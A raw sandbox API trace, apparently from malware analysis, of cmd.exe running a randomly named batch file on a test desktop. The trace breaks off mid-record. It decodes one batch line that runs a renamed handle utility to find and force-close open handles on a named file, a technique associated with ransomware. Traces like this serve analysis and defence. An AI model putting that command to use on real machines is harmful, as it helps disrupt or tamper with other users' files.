Size=0x70) returned 0xf11d0 [0103.652] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x39e8d8, lpFilePart=0x39e8d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x39e8d0*="Bt3xnwko.bat") returned 0x32 [0103.652] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0xf1248 [0103.652] FindClose (in: hFindFile=0xf1248 | out: hFindFile=0xf1248) returned 1 [0103.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0xf1248 [0103.653] FindClose (in: hFindFile=0xf1248 | out: hFindFile=0xf1248) returned 1 [0103.653] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0103.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0xf1248 [0103.653] FindClose (in: hFindFile=0xf1248 | out: hFindFile=0xf1248) returned 1 [0103.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0xf1248 [0103.654] FindClose (in: hFindFile=0xf1248 | out: hFindFile=0xf1248) returned 1 [0103.654] GetProcessHeap () returned 0xf0000 [0103.654] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x56) returned 0xf1248 [0103.654] GetProcessHeap () returned 0xf0000 [0103.654] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0103.654] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0x1041a0 [0103.654] GetProcessHeap () returned 0xf0000 [0103.654] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xe) returned 0xf0db8 [0103.654] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x62) returned 0x104200 [0103.655] _tell (_FileHandle=3) returned 78 [0103.655] _close (_FileHandle=3) returned 0 [0103.655] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39ef1c | out: _Buffer="\r\n") returned 2 [0103.655] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.655] GetFileType (hFile=0x7) returned 0x2 [0103.655] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.655] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eedc | out: lpMode=0x39eedc) returned 1 [0103.656] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.656] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39ef08, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39ef08*=0x2) returned 1 [0103.657] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.657] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.657] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x39ef18 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0103.657] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x39ef18 | out: _Buffer=">") returned 1 [0103.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.657] GetFileType (hFile=0x7) returned 0x2 [0103.658] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.658] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eee0 | out: lpMode=0x39eee0) returned 1 [0103.658] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.658] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39ef0c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x39ef0c*=0x26) returned 1 [0103.658] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.658] GetFileType (hFile=0x7) returned 0x2 [0103.659] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.659] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f164 | out: lpMode=0x39f164) returned 1 [0103.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.659] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xf0dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f190, lpReserved=0x0 | out: lpBuffer=0xf0dc0*, lpNumberOfCharsWritten=0x39f190*=0x2) returned 1 [0103.659] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f19c | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0103.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.659] GetFileType (hFile=0x7) returned 0x2 [0103.660] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.660] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.660] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.660] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x2d) returned 1 [0103.661] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39f1bc | out: _Buffer="\r\n") returned 2 [0103.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.661] GetFileType (hFile=0x7) returned 0x2 [0103.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.662] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f17c | out: lpMode=0x39f17c) returned 1 [0103.663] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.663] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f1a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f1a8*=0x2) returned 1 [0103.664] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0103.664] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0103.664] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0103.664] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0103.664] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0103.664] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0103.664] GetConsoleTitleW (in: lpConsoleTitle=0x39ed2c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.664] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xbc) returned 0x104270 [0103.665] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104270, Size=0x64) returned 0x104270 [0103.665] GetProcessHeap () returned 0xf0000 [0103.665] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104270) returned 0x64 [0103.665] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.665] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.665] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x39eae8, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x39eae0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x39eae0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0103.666] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x68) returned 0x1042e0 [0103.666] GetProcessHeap () returned 0xf0000 [0103.666] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xbc) returned 0x104350 [0103.666] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104350, Size=0x62) returned 0x104350 [0103.666] GetProcessHeap () returned 0xf0000 [0103.666] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104350) returned 0x62 [0103.666] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x56) returned 0x1043c0 [0103.666] GetProcessHeap () returned 0xf0000 [0103.666] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x56) returned 0x104420 [0103.666] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x39e884 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x39e884, lpFilePart=0x39e880 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x39e880*=0x0) returned 0x26 [0103.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0103.666] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39e600 | out: lpFindFileData=0x39e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x104480 [0103.667] FindClose (in: hFindFile=0x104480 | out: hFindFile=0x104480) returned 1 [0103.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39e600 | out: lpFindFileData=0x39e600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x104480 [0103.667] FindClose (in: hFindFile=0x104480 | out: hFindFile=0x104480) returned 1 [0103.667] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0103.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39e600 | out: lpFindFileData=0x39e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x104480 [0103.667] FindClose (in: hFindFile=0x104480 | out: hFindFile=0x104480) returned 1 [0103.667] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0103.667] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0103.667] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0103.667] GetProcessHeap () returned 0xf0000 [0103.667] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1076e0 | out: hHeap=0xf0000) returned 1 [0103.667] GetEnvironmentStringsW () returned 0x106b50* [0103.667] GetProcessHeap () returned 0xf0000 [0103.667] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb86) returned 0x1076e0 [0103.668] FreeEnvironmentStringsW (penv=0x106b50) returned 1 [0103.668] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.668] GetProcessHeap () returned 0xf0000 [0103.668] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104420 | out: hHeap=0xf0000) returned 1 [0103.668] GetProcessHeap () returned 0xf0000 [0103.668] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1043c0 | out: hHeap=0xf0000) returned 1 [0103.668] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.668] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0103.668] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.668] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0103.668] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.668] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0103.669] SetConsoleInputExeNameW () returned 0x1 [0103.669] GetConsoleOutputCP () returned 0x1b5 [0103.669] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0103.669] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x39f164, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0103.670] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0103.670] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.670] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0103.670] GetProcessHeap () returned 0xf0000 [0103.670] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104350 | out: hHeap=0xf0000) returned 1 [0103.670] GetProcessHeap () returned 0xf0000 [0103.670] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1042e0 | out: hHeap=0xf0000) returned 1 [0103.670] GetProcessHeap () returned 0xf0000 [0103.670] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104270 | out: hHeap=0xf0000) returned 1 [0103.670] GetProcessHeap () returned 0xf0000 [0103.670] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104200 | out: hHeap=0xf0000) returned 1 [0103.670] GetProcessHeap () returned 0xf0000 [0103.670] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0db8 | out: hHeap=0xf0000) returned 1 [0103.670] GetProcessHeap () returned 0xf0000 [0103.670] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1041a0 | out: hHeap=0xf0000) returned 1 [0103.671] GetProcessHeap () returned 0xf0000 [0103.671] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1248 | out: hHeap=0xf0000) returned 1 [0103.671] GetProcessHeap () returned 0xf0000 [0103.671] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf11d0 | out: hHeap=0xf0000) returned 1 [0103.671] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.671] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0103.671] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f148, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f148*=0x94, lpOverlapped=0x0) returned 1 [0103.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0103.671] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.671] GetFileType (hFile=0x78) returned 0x1 [0103.671] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.671] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0103.671] GetProcessHeap () returned 0xf0000 [0103.671] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0103.671] GetProcessHeap () returned 0xf0000 [0103.671] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x4008) returned 0x118be0 [0103.673] GetProcessHeap () returned 0xf0000 [0103.673] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xe) returned 0xf0db8 [0103.673] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"Dotted_Line.jtp\"") returned 0x11 [0103.673] GetProcessHeap () returned 0xf0000 [0103.673] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0db8 | out: hHeap=0xf0000) returned 1 [0103.673] GetProcessHeap () returned 0xf0000 [0103.673] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x118be0 | out: hHeap=0xf0000) returned 1 [0103.673] GetProcessHeap () returned 0xf0000 [0103.673] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0103.673] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0xf11d0 [0103.673] GetProcessHeap () returned 0xf0000 [0103.673] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x44) returned 0xf1230 [0103.673] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x14) returned 0xf1280 [0103.673] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0xf1280, Size=0x12) returned 0xf1280 [0103.673] GetProcessHeap () returned 0xf0000 [0103.673] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0xf1280) returned 0x12 [0103.673] _wcsicmp (_String1="/L", _String2="/F") returned 6 [0103.673] _wcsicmp (_String1="/D", _String2="/F") returned -2 [0103.673] _wcsicmp (_String1="/F", _String2="/F") returned 0 [0103.673] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x4e) returned 0x1041a0 [0103.674] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x24) returned 0x1041f8 [0103.674] GetProcessHeap () returned 0xf0000 [0103.674] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x1041f8, Size=0x3c) returned 0x1041f8 [0103.674] GetProcessHeap () returned 0xf0000 [0103.674] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x1041f8) returned 0x3c [0103.674] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x1041f8, Size=0x60) returned 0x1041f8 [0103.674] GetProcessHeap () returned 0xf0000 [0103.674] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x1041f8) returned 0x60 [0103.674] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x1041f8, Size=0x76) returned 0x1041f8 [0103.674] GetProcessHeap () returned 0xf0000 [0103.674] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x1041f8) returned 0x76 [0103.675] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0x104278 [0103.675] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0x1042d8 [0103.675] GetProcessHeap () returned 0xf0000 [0103.675] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x22) returned 0x104338 [0103.675] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x54) returned 0x104368 [0103.677] _tell (_FileHandle=3) returned 226 [0103.677] _close (_FileHandle=3) returned 0 [0103.677] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39ef1c | out: _Buffer="\r\n") returned 2 [0103.677] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.677] GetFileType (hFile=0x7) returned 0x2 [0103.893] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.894] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eedc | out: lpMode=0x39eedc) returned 1 [0103.896] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.896] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39ef08, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39ef08*=0x2) returned 1 [0103.898] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.899] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.899] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x39ef18 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0103.899] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x39ef18 | out: _Buffer=">") returned 1 [0103.899] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.899] GetFileType (hFile=0x7) returned 0x2 [0103.899] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.899] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eee0 | out: lpMode=0x39eee0) returned 1 [0103.899] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.899] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39ef0c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x39ef0c*=0x26) returned 1 [0103.900] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x39f19c | out: _Buffer="FOR") returned 3 [0103.900] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.900] GetFileType (hFile=0x7) returned 0x2 [0103.900] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.900] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.901] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x3) returned 1 [0103.901] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x39f19c | out: _Buffer=" /F") returned 3 [0103.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.901] GetFileType (hFile=0x7) returned 0x2 [0103.901] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.901] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.902] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x3) returned 1 [0103.902] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x39f19c | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0103.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.902] GetFileType (hFile=0x7) returned 0x2 [0103.902] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.902] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.903] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.903] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x20) returned 1 [0103.903] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x39f19c | out: _Buffer=" %I IN ") returned 7 [0103.903] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.903] GetFileType (hFile=0x7) returned 0x2 [0103.903] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.903] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.904] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.904] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, 